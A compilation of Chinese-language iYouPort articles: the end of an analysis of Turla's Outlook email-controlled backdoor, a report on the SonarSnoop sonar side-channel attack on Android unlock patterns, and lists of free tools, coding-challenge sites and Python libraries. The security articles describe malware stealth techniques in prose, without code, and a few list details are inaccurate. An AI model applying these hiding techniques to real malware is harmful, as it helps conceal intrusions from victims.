由于后门在用户使用计算机和Outlook的同时工作，因此会努力隐藏可能出现在屏幕上的各种恶意行为，例如来自攻击者的电子邮件。首先，后门总是删除发送给攻击者或从攻击者收到的所有电子邮件。其次，hook 住 CreateWindowsEx 函数。阻止创建 NetUIHWND 类型的窗口，该窗口是 Outlook 用于显示在屏幕右下角通知的窗口类型。

—— 结论 ——

据 ESET 调查，**Turla** 是目前唯一一个使用完全由电子邮件控制的后门的间谍组织，更具体地说是通过 **PDF** 附件控制。虽然Turla后门不是第一个使用受害者的真实邮箱接收命令和泄露数据的后门，但它是第一个使用标准API（MAPI）与 Microsoft Outlook 进行交互的公知后门。这是对旧邮件控制后门的一个重大改进，旧后门依赖Outlook Express，只是读取收件箱文件和写入发件箱文件。相比之下，Turla后门甚至可以与最新版本的 Outlook一起使用。

受到破坏的组织不仅有被种植后门的Turla监视的风险，而且还有被

其他攻击者监视的风险。后门只是执行它收到的任何命令，而无法识别操作符。因此，其他攻击者可能已经对后门进行了逆向工程并找出了如何控制它，甚至还在利用后门对受害者进行间谍活动。

可以在 GitHub 上找到完整而全面的妥协指标（IoC）和样本。

这里有一个白皮书《Turla Outlook Backdoor：一个不寻常的 Turla 后门》是对该后门的详细分析。■

原文

👂 使用智能手机扬声器中的声纳信号窃取解锁密码：成功实现 - iYouPort

技术-攻击防御和反抗

英国兰卡斯特大学和瑞典 Linköping 大学的学者研究出一种新的技术，可将智能手机的内置扬声器和麦克风变成一个简单的声纳系统，窃取安卓设备的解锁图案 ⚠

「图」

「图」

来自兰开斯特大学的一组研究人员向 arXiv 发表了一篇论文，演示了他们如何使用智能手机的麦克风和扬声器系统来窃取设备的解锁模式。

虽然普通人不必担心会很快被这种方式攻击，但研究人员首先证明了这种攻击是完全可以实现的。根据研究人员的说法，他们的“SonarSnoop 声纳探听”攻击减少了攻击者必须尝试的 70% 的解锁模式数量，并且可以在受害者完全不知道他们被骇客入侵的情况下执行。

在信息安全世界中，“旁道攻击”是一种剑走偏锋的黑客行为，它不利用程序中最终被定位的弱点或需要直接访问目标信息，而是，例如，在 SonarSnoop 的情况下，骇客正在寻找的信息是手机的解锁密码，SonarSnoop 不会通过尝试所有可能的组合或通过“肩膀冲浪”来强制获取密码，而是利用同样会泄露密码的辅助性信息—— 在这种情况下，就是声音。

> 尽管其测试关注的是智能手机，但必须知道，“声纳探听“攻击也可用在众多其他电脑设备和物理环境中—— 只要有麦克风和扬声器！

声学旁道攻击已在 PC 和各种其他连接互联网的设备上得到广泛应用。例如，研究人员通过探听它的硬盘风扇，从空气密封的计算机上

恢复了数据。

他们还能够通过探听连接互联网的打印机，以确定打印在纸上的内容，并根据 3D 打印机的声音重建打印的 3D 对象！

在大多数情况下，这些是被动的旁道攻击，意味着攻击者只是在听设备自然产生的声音。然而，这是第一次，研究人员成功地在移动设备上演示了有源声学旁道攻击，这种方法迫使设备本身发出某些声音。

⚠ 当用户无意中在手机上安装了恶意应用程序时，攻击就开始了。当用户下载受感染的应用程序时，他们的手机开始广播声音信号，该声音信号恰好高于人类的听觉范围。声音信号被手机周围的每个物体反射，产生回声。然后通过电话的麦克风记录此回声。

通过计算声音的发射和其回声到声源的返回之间的时间，可以确定物体在给定空间中的位置、以及该物体是否在移动—这被称为声纳。通过分析设备麦克风录制的回声，研究人员能够利用这一现象来跟踪某人手指在智能手机屏幕上的移动。

在 Android 手机上的 3×3 网格上有近 400,000 种可能的解锁模式，但之前的研究表明，20% 的人使用的是其中 12 种很常见的模式中的一种。在测试 SonarSnoop 时，研究人员只专注于这十几个解锁组合。

「图」

「图」

为了测试他们的声纳攻击，研究人员使用了三星 Galaxy S4，这是 2013 年首次发布的 Android 手机。虽然这种攻击完全可以适用于任何手机型号，但由于扬声器和麦克风放置的位置不同，信号分析必须根据特定的手机型号进行调整。

“我们预计 iPhone 同样容易受到攻击，但我们只测试了对 Androids 的攻击，”兰卡斯特大学的博士生 Peng Cheng 在一封电子邮件中说。

声纳探针研究组将 FingerIO 作为其灵感源泉。FingerIO 理念是在 2016 年3月发表的，当时学术界制造出了一个类似声纳的系统来改进与智能手表的互动。

有了 FingerIO，用户可以用手在智能手机附近画线和形状，智能手机可以使用高频声波拾取手指运动，并将其译成触屏互动。声纳探针是

FingerIO 的邪恶版，攻击者运用相同的理念，但却盗取了触屏互动。

招募了 10 名志愿者进行研究，并被要求在自定义应用程序上绘制五种不同的“12模式”之一。然后研究人员尝试了各种声纳分析技术，根据手机发出的声学特征重建密码。最好的分析技术导致算法在正确确定模式之前只需要平均尝试 12 种可能模式中的 3.6 种。

尽管 SonarSnoop 攻击目前看来还不完美，但它的确减少了研究人员（攻击者）必须尝试的模式数量的 70%。研究人员写道，在不久的未来，通过减少声纳脉冲之间的时间量以及探索不同的信号分析策略，完全可以改善这一点。

为了防止这些类型的攻击蔓延，研究人员建议可以设计移动设备来防止它们。最明显的做法是将设备扬声器的声学范围限制为只有人类可听到的信号，或者允许用户在他们的设备上使用敏感信息时有选择地关闭他们的声音系统。或者，首先就是要继续改进对恶意应用程序下载的阻止保护。

随着诸如指纹解锁之类的生物识别功能在移动设备上变得越来越普遍，看起来这种攻击对于解锁手机的有用性将显著降低。然而，正如研究人员指出的那样，类似的技术完全可用于收集使用手机触摸屏输入的其他敏感信息，例如网页密码甚至是 Tinder 等约会应用上的滑动模式！

“尽管我们的实验试图仅窃取 Android 解锁模式，但 SonarSnoop 适用于麦克风和扬声器可以互动的任何环境，”兰卡斯特大学安全研究员 Jeff Yan 说。“我们的下一个重要问题是如何帮助日常生活。我们的目标是通过帮助计算机工程师妥善解决下一代设备中的安全威胁来实现这一目标。“ ■

原文

100种不错的免费工具和资源 - iyouport

技术-攻击防御和反抗

免费很重要。好用就更重要了。

这里是一些免费的，且很出色的工具资源。

1. Tabler Icons

免费和开源的图标，设计时注重细节，使您的设计脱颖而出。

链接：https://tablericons.com

2. Remove bg

移除图片背景：100%自动—— 在5秒内，无需点击，免费。

链接：https://www.remove.bg/

3. Dev Resources

一个供开发人员使用的协作资源列表，以策划的类别呈现。

链接：https://devresourc.es/

4. Blender

免费和开放的3D创作软件。

链接：https://www.blender.org/

5. Free Code Tools

免费的SEO和代码工具集。

链接：https://freecodetools.org/

6. Coolors

为您的设计生成或浏览美丽的颜色组合。

链接：https://coolors.co/

7. loading.io

用SVG / CSS / GIF / PNG建立您的Ajax加载图标、动画文本和更多的东西。

链接：https://loading.io/

8. DevSamples

DevSamples 是一个代码样本的列表，供您根据需要复制和粘贴到您的项目中。主要是Web开发，但也有各种语言的样本。

链接：https://www.devsamples.com/

9. Lorem Picsum

就是您知道的 Lorem Ipsum，但用于照片。

链接：https://picsum.photos/

10. Netlify

用Netlify部署现代静态网站。获得CDN、持续部署、一键式HTTPS和所有您需要的服务。免费开始使用。

链接：https://www.netlify.com/

11. Pxfuel

数以百万计的公共领域的图片，所有的商业用途都是免费的。

链接：https://www.pxfuel.com/

12. Font Awesome

世界上最受欢迎和最容易使用的图标集刚刚得到升级。有更多的图标、更多风格、更多选项。

链接：https://fontawesome.com/

13. GTmetrix

GTmetrix 是一个免费的工具，可以分析您的页面的速度性能。使用 PageSpeed 和 YSlow，GTmetrix 为您的页面生成分数，并提供关于如何改进的可行建议。

链接：https://gtmetrix.com/

14. Resume.com

最好的免费简历生成器。您可以可以建立一个专业的简历，突出您最好的品质，这样您就可以在没有任何支出的情况下找到梦想的工作。申请工作不应该花钱。

链接：https://www.resume.com/

15. daily.dev

daily.dev 是保持了解最新的编程新闻的最简单方法。它是一个由庞大的开发者社区排名的文章feed。从顶级科技出版物中获取您想要的任何主题的最佳内容。一体化的浏览器扩展。

链接：https://daily.dev/

16. DevDocs

为开发者提供快速、离线和免费的文档浏览器。在一个网络应用中搜索100多个文档。HTML, CSS, JavaScript, PHP, Ruby, Python, Go, C, C++ … 等等。

链接：https://devdocs.io/

17. Feather Icons

Feather 是一个简单漂亮的开源图标集合。每个图标都是在24×24的网格上设计的，强调简单性、一致性和可读性。

链接：https://feathericons.com/

18. shortcode.dev

一组有用的片段和代码示例。元素、属性和选择器。

链接：https://shortcode.dev/

19. Canva

与您的团队一起创造美丽的设计。使用 Canva 的拖放功能和布局来设计、分享和打印名片、标识、演示文稿和更多。

链接：https://www.canva.com/

20. Mockuper.net

mockuper，免费的模型生成器，用于创建自定义图像，以展示您的精彩作品。

链接：https://mockuper.net/

21. CSS Nectar

CSS Nectar 是一个为网页设计师和开发人员提供的css网站设计展示平台。每天都会选择最好的网页设计并更新进去。

链接：https://cssnectar.com/

22. BGJar

为您的网站、博客和应用程序提供免费的svg背景生成器。

链接：https://bgjar.com/

23. Photopea

Photopea 在线照片编辑器让您编辑照片，应用效果，过滤器，添加文本，裁剪或调整图片大小。在您的浏览器中免费进行在线照片编辑。

链接：https://www.photopea.com/

24. Vercel

以最佳的前端开发者体验和最高的终端用户性能部署您的项目。

链接：https://vercel.com/

25. Fun-javascript-projects

以实用的、基于项目的方式免费学习Javascript。

链接：https://fun-javascript-projects.com/

26. Flaticon

3743500＋免费的SVG、PSD、PNG、EPS格式的矢量图标，或作为ICON FONT。最大的免费矢量图标数据库。

链接：https://www.flaticon.com/

27. Awesome Python

一个精心策划的超棒的Python框架、库和软件的列表。

链接：https://awesome-python.com/

28. CSS Reference

CSS Reference 是一个免费的CSS视觉指南。它以最流行的属性为特色，并以图文并茂的例子来解释它们。

链接：https://cssreference.io/

29. Sidebar.io

每天五个最好的设计资源，每个工作日都有。

链接：https://sidebar.io/

30. Grid by Example

您在学习CSS网格布局时需要的一切。

链接：https://gridbyexample.com/

31. Heroicons

漂亮的手工制作的SVG图标，来自Tailwind CSS的制作者。

链接：https://heroicons.com/

32. Latency

免费的全球延迟性能测试工具。

链接：https://latency.apex.sh/

33. We Work Remotely

设计、编程、营销等方面的远程工作。

链接：https://weworkremotely.com/

34. Unsplash

漂亮的免费图片和照片，您可以下载并用于任何项目。质量比其他同类库存更高。

链接：https://unsplash.com/

35. Simple Icons

1400多个流行品牌的免费SVG图标。

链接：https://simpleicons.org/

36. CSS Stats

CSS Stats 为您的样式表提供分析和可视化。

链接：https://cssstats.com/

37. Squoosh.app

用不同的编解码器压缩和比较图像，就在您的浏览器中。

链接：https://squoosh.app/

38. Fast design

用于现代网络体验的自适应界面系统。

链接：https://fast.design/

39. UI Garage

为设计师、开发者提供新的UI灵感和模式，为您的项目寻找灵感、工具和最佳资源。

链接：https://uigarage.net/

40. unDraw

具有开源插图的设计项目，适用于您能想象和创造的任何想法。用您喜欢的颜色创建美丽的网站、产品和应用程序，免费的。

链接：https://undraw.co/

41. Figma

作为一个团队打造更好的产品。使用 Figma 在一个地方进行设计、制作原型和收集反馈。

链接：https://www.figma.com/

42. Hashnode

Hashnode 是一个免费的内容创作平台和社区，允许您在自己的领域发布文章，并帮助您与一个不断增长的开发者社区保持联系。

链接：https://hashnode.com/

43. FreeCSS

Free CSS 有3133个免费网站模板，所有模板都是免费的开源模板或创意共享模板。

链接：https://www.free-css.com/

44. DrawKit

免费的矢量SVG插图，供您在下一个项目中使用，不需要署名。

链接：https://www.drawkit.io/

45. Public APIs

为开发者提供的1000多个免费开放的 REST APIs 列表，如电影API、动漫API、天气API、音乐API、游戏和漫画API、货币API、体育API、科学API、开放数据API等。

链接：https://public-apis.io/

46. CSS.gg

纯粹的CSS图标库，可定制和Retina-Ready，100%由纯CSS、SVG、SVG Sprite、styled-components、Figma 和 Adobe XD 构建。易于集成：嵌入、NPM和API。

链接：https://css.gg/

47. Jr.DevJobs

初级开发人员的工作机会。

链接：https://www.jrdevjobs.com/

48. Notion

一个新的工具，将您的日常工作应用融为一体。它是您和您的团队的多合一工作空间。

链接：https://www.notion.so/

49. Compresspng.com

PNG压缩和优化工具，将PNG图像压缩成支持透明度的PNG-8格式。

链接：https://compresspng.com/

50. Compressor.io

在线优化和压缩JPEG、PNG、SVG、GIF和WEBP图像。免费压缩、调整大小和重命名您的照片。

链接：https://compressor.io/

51. Caniuse.com

提供最新的浏览器支持tables，以支持桌面和移动网络浏览器上的前端网络技术。

链接：https://caniuse.com/

52. Javascript.info

现代 JavaScript 教程：简单但详细的解释，并附有例子和任务，包括：闭包、文档和事件、面向对象编程等。

链接：https://javascript.info/

53. Inovatik

下载为方便定制的HTML模板，为您的在线项目提供动力。

链接：https://inovatik.com/

54. 免费提供给开发者

一个软件（SaaS、PaaS、IaaS等）和其他产品的列表。

链接：https://free-for.dev/

55. Stormkit

Stormkit 是一个现代 javascript 应用的基础设施提供商，它与流行的Git提供商紧密结合。

链接：https://www.stormkit.io/

56. PythonAnywhere

在云中托管、运行和编码 Python。

链接：https://www.pythonanywhere.com/

57. Regex101

在线正则表达式测试工具，调试器，带高亮显示，适用于PHP、PCRE、Python、Golang 和 JavaScript。

链接：https://regex101.com/

58. Quant-UX

设计、测试和学习于一体的工具 Quant-UX 的低代码功能允许将原型转换为生产系统。

链接：https://www.quant-ux.com/

59. Glitch

简单、强大、免费的工具，创建和使用数以百万计的应用程序。

链接：https://glitch.com/

60. Frontend Mentor

通过建立真正的项目来提高您的前端技能。解决真实世界的HTML、CSS和JavaScript挑战，同时按照专业的设计工作。

链接：https://www.frontendmentor.io/

61. Smashing Magazine

为网页设计者和开发者服务。

链接：https://www.smashingmagazine.com/

62. FontPair

Font Pair 帮助设计师将谷歌字体进行组合和匹配。

链接：https://fontpair.co/

63. Codewars

Codewars 是开发人员进行挑战的地方。通过训练发挥您的最大潜力。

链接：https://www.codewars.com/

64. Westryve

找到 PHP, Laravel, HTML & CCS, Python, .NET 等社区。

链接：https://westryve.com/

65. Remote.co

远程工作：工作、公司和虚拟团队。

链接：https://remote.co/

66. Web.dev

通过 web.dev 的有用指导和分析，在您自己的网站和应用程序上获得现代功能。

链接：https://web.dev/

67. BundlePhobia

Bundlephobia 帮助您发现在前端bundle中添加npm包的性能影响。

链接：https://bundlephobia.com/

68. Scrimba.com

Scrimba是一种有趣的、快速的学习代码的方式。有互动课程和教程教您如何学习 React、Vue、Angular、JavaScript、HTML、CSS等。

链接：https://scrimba.com/

69. Dev.to

一个具有建设性和包容性的社交网络。开源和彻底的透明。

链接：https://dev.to/

70. Heroku

Heroku 是一个平台即服务（PaaS），使开发者能够完全在云中构建、运行和操作应用程序。

链接：https://www.heroku.com/

71. Animista.net

在这里您可以玩一组现成的CSS动画，调整它们，并只下载那些您将实际使用的。

链接：https://animista.net/

72. HTTP Status Codes

包括定义、细节和有用的代码参考。

链接：https://httpstatuses.com/

73. The Coding Interview

每天只需准备5分钟，练习破解编码面试的难题。

链接：https://www.thecodinginterview.com/

74. Learn-anything.xyz

搜索交互式思维导图来学习任何东西。

链接：https://learn-anything.xyz/

75. Responsively App

一个帮助更快、更精确地进行响应式Web开发的开发工具。

链接：https://responsively.app/

76. Colormind

一键生成色彩组合。Colormind使用深度神经网络创建有凝聚力的色彩方案。

链接：http://colormind.io/

77. teachyourselfcode.io

通过精心策划的视频教程免费学习代码。

链接：https://teachyourselfcode.io/

78. Render

Render是一个统一的平台，可以建立和运行您所有的应用程序和网站，具有免费的SSL，全球CDN，专用网络和自动部署的Git。

链接：https://render.com/

79. Carbon.sh

Carbon是创建和分享您的源代码的最简单方法。

链接：https://carbon.now.sh/

80. Regex Pal

在线测试您的Javascript和PCRE正则表达式。

链接：https://www.regexpal.com/

81. JSONLint

JSONLint 是JSON的免费在线验证器和重新格式化工具，JSON是一种轻量级数据交换格式。

链接：https://jsonlint.com/

82. W3Layouts

免费网站模板设计。这里的网站模板都是响应式的，用 Bootstrap、HTML、CSS和JS构建。

链接：https://w3layouts.com/

83. Freepik

数以百万计的免费图形资源。矢量图 √ 图库照片 √ PSD ✓ 图标 √ 您的创意项目所需的一切。

链接：https://www.freepik.com/

84. Mixkit

为您的视频项目提供免费的视频素材、音乐素材和 Premiere Pro 模板。

链接：https://mixkit.co/

85. Unscreen

移除任何视频的背景—— 100%自动，在线且免费。

链接：https://www.unscreen.com/

86. Avataaars Generator

一个免费的在线头像生成器，任何人都可以轻松地制作喜欢的个人头像。

链接：https://getavataaars.com/

87. Remix Icon

Remix Icon 是一套为设计师和开发者制作的开源中性风格图标。所有图标都可以免费用于个人和商业。

链接：https://remixicon.com/

88. Ikonate

定制、调整和下载免费的矢量图标。Ikonate 是一套适应性强的优化SVG图标，可以在Sketch和Photoshop等开发和设计应用程序中轻松使用。可作为图像、内联SVG或SVG精灵使用。

链接：https://ikonate.com/

99. Open Doodles

一个免费供个人和商业使用的人物素描图库。

链接：https://www.opendoodles.com/

90. Kite

使用Kite的人工智能自动完成插件，超过16种编程语言和16个IDE，具有多行补全功能，使编码更快。100%在本地工作。

链接：https://www.kite.com/

91. Devhints

Web 开发速查表集合。

链接：https://devhints.io/

92. Wappalyzer

找出任何网站的技术栈。通过他们使用的技术创建网站和联系人的列表。

链接：https://www.wappalyzer.com/

93. Tailwind Components

Tailwind 图表、网格、输入、表格、模板及更多。

链接：https://tailwindcomponents.com/

94. Grammarly

有影响力的沟通。确保您所写的一切都以您的方式表达出来。使您的写作清晰而有吸引力。消除语法错误。轻松改善任何文本。

链接：https://www.grammarly.com

95. Wave

免费的发票和会计软件，具有信用卡处理和工资单服务。

链接：https://www.waveapps.com/

96. Clockify

数百万人使用的时间跟踪软件。一个简单的时间跟踪器和时间表应用程序，让您跟踪不同项目的工作时间。

链接：https://clockify.me/

97. Untools

思考工具和框架的集合，以帮助您解决问题，作出决定和理解系统。

链接：https://untools.co/

98. Free Logo Maker

免费在线应用，帮助您在几分钟内制作出一个定制的logo。

链接：https://www.namecheap.com/logo-maker/

99. TinyPNG

压缩优化您的 PNG 和 JPEG 图像，让您的网站更快，节省带宽。

链接：https://tinypng.com/

100. 1loc

最好的JavaScript单行代码。

链接：https://1loc.dev/

○

原文

2020年10大最受欢迎的编码挑战网站 - iYouPort

技术-攻击防御和反抗

帮助您提高技能，获得更好的应聘机会

「图」

「图」

学习编码的一种提高技能的好方法是解决编码难题。解决各种类型的挑战和难题可以帮助您领会技巧、学习编程语言的复杂性、准备工作面试、学习新算法等等。

freecodecamp 推荐了一些很好的资源，以帮助您达成上述目标。

这里是一些受欢迎的编码挑战网站的列表，并简要说明了每个网站所提供的功能。

"1. TopCoder"

「图」

「图」

TopCoder 是在线竞技编程原始平台之一。它提供了一系列过去的算法挑战，你可以使用他们的代码编辑器直接在线完成自己的挑战。

他们流行的单轮比赛每月都会在特定的时间提供多次，您可以和其他人竞争，以最快的速度和最好的分数解决挑战。

TopCoder 上排名靠前的用户都是非常优秀的程序员，经常参加编程比赛。

排名最高的用户维护着自己的博客名为 Algorithms，由 Petr

Mitrichev 每周撰写，他在其中提供了许多有关编码竞赛，算法，数学等主题的文章。

"2. Coderbyte"

「图」

「图」

Coderbyte 提供了200多个编码挑战，您可以使用10种编程语言中的任何一种直接在线解决挑战（看看这个例子）。挑战的范围从简单的（找到字符串中最大的单词）到困难的（打印图形的最大基数匹配）。

他们还提供了一系列算法教程、入门视频和面试准备课程。与 HackerRank 和其他类似网站不同的是，除了 Coderbyte 发布的官方解决方案外，您还可以查看其他用户提供的关于任何挑战的解决方案。

"3. Project Euler"

「图」

「图」

Project Euler 提供了大量的计算机科学和数学领域的挑战。这些挑战通常涉及到编写一个小程序来计算出一个巧妙的数学公式或方程的解法，例如找到一个数列中每个数字前面的所有数字之和。

您不能直接在网站上用编辑器编码，所以您需要在自己的电脑上编写解决方案，然后在他们的网站上提供它。

"4. HackerRank"

「图」

「图」

HackerRank 提供了多个不同领域的挑战，如算法、数学、SQL、函数式编程、AI等。

您可以直接在线解决所有的挑战（看看这个例子）。他们为每一个挑战提供了讨论和排行榜，大多数的挑战都会有一篇评论，解释了更多关于挑战的内容，以及如何做得更好，从而提出解决方案。

除了评论之外，您目前无法在 HackerRank 上查看其他用户的解决方案。

HackerRank 还通过解决公司赞助的编码挑战为用户提供了提交应用程序和申请职位的能力。

5、" CodeChef"

「图」

「图」

CodeChef 是一个位于印度的竞争性编程网站，提供数百个挑战项目。

您可以在他们的在线编辑器中编写代码，并根据您自己的技能水平，查看不同类别的挑战集（看看这个例子）。

他们有一个庞大的编码员社区，他们会在论坛上贡献代码，编写教程，并参加 CodeChef 的编码比赛。

6、"Exercism.io"

「图」

「图」

Exercism 是一个编码挑战网站，提供跨越52种不同编程语言的3100多种挑战。

选取您想要掌握的语言之后，您就可以在计算机上解决编码难题（Exercism 有其自己的命令行界面，可以从 GitHub 下载）。

但是，它与其他挑战网站略有不同，因为您在完成每个挑战后都会与导师合作。指导者会在线查看您的答案，并在需要时帮助您改善答案。

答案获得批准并提交后，您将可以解锁更多的挑战。

7、" Codewars"

「图」

「图」

Codewars 提供了大量由他们自己的社区提交和编辑的编码挑战集。您可以直接在他们的编辑器中以多种语言之一在线解决这些挑战。您可以查看每个挑战的讨论以及其他用户的解决方案。

8、"LeetCode"

「图」

「图」

LeetCode 是一款非常受欢迎的在线评委，它提供了190＋的挑战清单，可以帮助您准备技术工作面试。

您可以直接在网上用9种编程语言中的一种来解决这些挑战。您无法查看其他用户的解决方案，但是您会得到自己的解决方案的统计数据，比如你的代码与其他用户的代码相比，运行的速度如何等等。

他们还有一个专门为求职面试准备的模拟面试部分，他们也会举办自己的编码竞赛，他们还有一个文章区，可以帮助您更好地理解某些问题。

9、"SPOJ"

「图」

「图」

Sphere Online Judge (SPOJ) 是一个提供超过2万个编码挑战的在线评委。您可以在一个在线编辑器中提交您的代码。

SPOJ 还举办了自己的比赛，并有一个用户讨论编码挑战的区域。不过，他们目前并不像其他一些网站那样提供任何官方的解决方案或评论。

10、" CodinGame"

「图」

「图」

CodinGame 与其他网站有一点不同，因为它不是简单地在编辑器中解决编码挑战，而是让你直接参与编写在线游戏的代码，让您直接在线玩。

您可以在这里看到目前提供的游戏列表和一个例子。该游戏自带问题描述、测试用例和编辑器，您可以使用20多种编程语言中的任何一种编写代码。

- 不要错过《想做自己的电子游戏吗？6种工具帮您实现这点》

虽然这个网站和上面提到的那些典型的竞争性编程网站不同，但它仍然受到喜欢解决挑战和参加比赛的程序员的欢迎。您可以试试看。〇

The 10 Most Popular Coding Challenge Websites

原文

35个好用的数据科学 Python 库 - iyouport

技术-攻击防御和反抗

帮助数据科学爱好者找到需要的东西

Python是一种解释型的通用编程语言，它被广泛用于网络开发、桌面应用开发、系统脚本和自动化。它是一种高级语言，由 Guido van Rossum 于1991年初创建，并由 Python 软件基金会维护。

该语言很容易学习，这使得它非常适合初学者。它还可以在不同的平台和操作系统上工作，如 Windows、Linux、macOS 和 Raspberry Pi。

Python 可以用函数式、面向对象或程序式的方式来处理。

目前最活跃的 Python 版本是 Python 3。然而，一些应用程序和框架仍在使用 Python 2.7。

近年来，由于其可用性和丰富的生态系统，它在数据科学家和数据工程师中得到了普及。

python 生态系统包含许多简化数据科学任务的软件包、库和框架。

📌 在我们的图书推介页面上搜索 “Python” ，或点击此链接，可以找到很多书籍和资料。完全免费，无需登录。

适用于数据科学的 Python

「图」

本文整理了一些用于刮取、数据操纵、机器学习、深度学习、统计和数据可视化的库。首要目标是创建一个列表，以帮助数据科学爱好者找到需要的东西。

1、Data-tools

Data-tools 是一个用 Python 编写的命令行工具，用于数据提取、数据操作和文件格式转换。

它具有日期转换、多种文件格式、加入数据、数据修剪、支持 utf-8、数据排序等功能。

—— 安装 data-tools.

2、**Pandas**

Pandas 是流行的 Python 库，用于数据分析和数据处理。大多数数据科学家和工程师都使用它。Pandas 的学习曲线平坦，对于初学者来说会很容易。

-—— 下载和学习 Pandas.

3、**Scrapy**

Scrapy 是一个基于 Python 编写的Web抓取框架。它可以帮助开发人员和数据工程师从网页中提取结构性数据。

—— 获得 Scrapy

4、**BeautifulSoup**

BeautifulSoup 是一个Python库，用于从HTML和XML文件提取数据。它支持多个解析器，例如 lxml，html5lib，Python 的HTML解析器。

—— 下载和安装 BeautifulSoup.

5、**NumPy**

NumPy 是Python的一个科学计算库。NumPy 有几十个有用的数学计算函数，并提供 C/C＋＋和 Fortran 代码集成。

NumPy 拥有丰富的子库生态系统和庞大的开发者社区。它已被广泛用于数据科学、机器学习、数据可视化和数据操作。

—— 下载和安装 NumPy

6、**SciPy**

SciPy 是一个建立在 NumPy 之上的数学、统计和科学Python库。SciPy 提供N维数组的无缝操作。

—— 获取 SciPy

7、**Keras**

Keras 是一个Python的深度学习库。它易于学习，有一个庞大的开发者和数据科学家社区，为它提供教程和代码样本。

—— 获得 Keras

8、**PyTorch**

PyTorch 是一个用于张量计算和深度神经网络的重要Python库。PyTorch 可以在需要的时候用其他Python库进行扩展，比如 NumPy、SciPy 等。

PyTorch 提供了无缝的GPU支持，它可以在 Linux、Windows 和 macOS 上运行。

—— 获得 PyTorch.

9、**TensorFlow**

TensorFlow 是一个机器学习的开源平台。它有一个庞大的生态系统，由大量的数据科学家和工程师社区支持。TensorFlow 支持启用 CUDA 的 GPU，它还提供了一个只支持CPU的包 `tensorflow-cpu`.

```
pip install tensorflow
```

—— 安装 TensorFlow

10、**statsmodels**

statsmodels 是一个Python模块，包含了多个统计模型，用于统计数据分析或探索。它是一个开源库，以BSD (3-clause) 许可发布。

statsmodels 可以和其他库如 NumPy、SciPy 和 pandas 一起工作。它还支持R式公式和pandas数据框架。

—— 获得 statsmodels

11、**Seaborn**

Seaborn 是一个基于 Matplotlib 的丰富的数据可视化库。它没有 matplotlib 那么难学，并且为所有 matplotlib 函数提供了一个高端接口，并提供了额外的工具。

—— 下载 Seaborn

12、**Matplotlib**

Matplotlib 是Python的一个流行的可视化库。它提供了不同的分布和测试数据集。Matplotlib 很容易安装在 Linux上（Debian，Fedora，Red Hat 和 Arch）。它也可以安装在 PyPi，ActiveState 和 Anaconda 上。

该库依赖于几个Python库，如 NumPy、Cycler、pyparsing，并且需要 Python 」＝3.6 才能工作。

—— 安装 Matplotlib

13、**Bokeh**

Bokeh 是一个专门针对Web浏览器呈现功能的交互式可视化Python库。这是 Bokeh 与其它可视化库最核心的区别。Bokeh 提供了强大而灵活的功能，使其操作简单并高度定制化。

Bokeh 提供了开箱即用的Geo数据和地图可视化、交互式注释、命令行界面和完整的 Jupyter 集成。

Bokeh 内置了WebGL加速和 JavaScript 开发支持。

—— 下载 Bokeh

14、**Pingouin**

Pingouin 是一个Python 3的开源统计包。它是 Pandas 和 NumPy 的一个接口。它很容易学习，并且包含了许多统计测试和绘图函数。

—— 获得 Pingouin

15、**tick**

tick 是一个轻量级的Python机器学习库，它由多个模块组成，专注于

时间相关系统的统计学习。

该库有几个内置的工具和助手，用于模拟、线性计算、参数和非参数估计的 Hawkes 处理、一个绘图助手、一个数据集和R集成支持。

—— 获得 Python tick

16、**GrasPy / graspologic**

该软件包由约翰霍普金斯大学的 NeuroData 实验室和 Microsoft Research 的 Project Essex 编写。它是用于图形或网络分析的开源项目。

—— 安装 GrasPy

17、**Scikit-Learn**

Scikit-Learn 是一个基于Python的数据分析框架。它建立在 NumPy matplotlib 和 SciPy 之上。

Scikit-Learn 包含了数十种算法和工具，使预测性数据分析变得更加容易。

—— 获得 Scikit-learn

18、**Plotly's Python**

Plotly's 是一个数据可视化库，可以轻松构建交互式图表。它作为一个开源项目可以免费使用，并且可以流畅地离线工作。它还可以和 Plotly's dash 一起使用，后者同样是在MIT许可下授权的。

—— 获得 Plotly for Python

19、**TinyDB**

有时需要一个本地平文件数据库来保存数据。 TinyDB 是一个轻量级的平文件本地数据库。它可以作为一个面向文档的数据库来处理大型数据集。

—— 下载和安装 TinyDB

20、**Theano**

Theano 是一个用于数据处理和分析的轻量级Python库，它提供了动态C代码生成和全GPU支持。它有一个类似于 NumPy 的接口。

Theano 项目在GitHub上受到数据科学家和学生的欢迎。

—— 获得 Theano

21、**PyBrain**

PyBrain 是一个用 Python 编写的模块化机器学习库。

—— 安装 PyBrain

22、**Gensim**

Gensim 是一个免费的Python库，用于数据处理、训练大型规模的NLP模型、数据流和文本分析。它依赖于 NumPy 和 smart_open 库。

Gensim 需要 Python 3.6 或更高版本。

—— 获得 Gensim

23、**Shogun**

Shogun 是一个古老的机器学习开源库。它支持多种编程语言，主要有 Python, R, Java, Scala, Ruby 和 Lua.

它是基于 GPL v3.0 的开源项目。

—— 获得 Shogun

24、**ArcGIS**

ArcGIS 是一组Python库，用于处理、操作和可视化地理数据，自动化空间工作流，执行高级空间分析，并为空间机器学习和深度学习建立模型。

—— 安装 ArcGIS

25、**PyCaret**

PyCaret 是一个用Python编写的低代码机器学习库。它的目标是通过其易用性促进生产力。它有完善的文档，并有多个教程和代码样本。

—— PyCaret

26、**Open Mining**

OpenMining 是由Python编写的商务智能应用服务器，为商务智能中大数据的处理提供了便捷的操作，以此来提高用户挖掘商业情报的效率。

它不是一个简单的库，而是一个完整的数据挖掘应用开发套件。

它需要 Python 2.7、Lua5.2、MongoDB、Redis 和 NodeJS（NPM）。

—— Open Mining

27、**jsonschema**

jsonschema 是一个Python的JSON实现，它支持 Draft7、6、4和 Draft3。它提供了懒惰验证和程序化查询。

—— 安装 jsonschema

28、**Volupuous**

Volupuous 是一个Python的数据验证库，可以帮助验证 JSON，Yaml，CSV 和 TSV 文件的数据。它的建立是为了支持复杂的数据结构。

—— 下载 Volupuous

29、**pickleDB**

pickleDB 是一个轻量级且简单的键值存储。 它基于 Python 的 simplejson 模块，受 redis 启发。它可能会在保存或记录数据的过程中派上用场。

—— 获得 pickleDB

30、**Caffe Deep Learning**

Caffe 是一个用Python 3编写的深度学习框架。它提供了速度和模块化。Caffe 有定制的发行版：Intel Caffe；针对英特尔和Xeon处理器的CPU优化版本，针对AMD或英特尔处理器的 OpenCL Caffe 和针对

Windows机器的 Windows Caffe。

它是由伯克利人工智能研究中心（BAIR）/伯克利视觉与学习中心（BVLC）和社区贡献者开发的。

—— 获得 Caffe

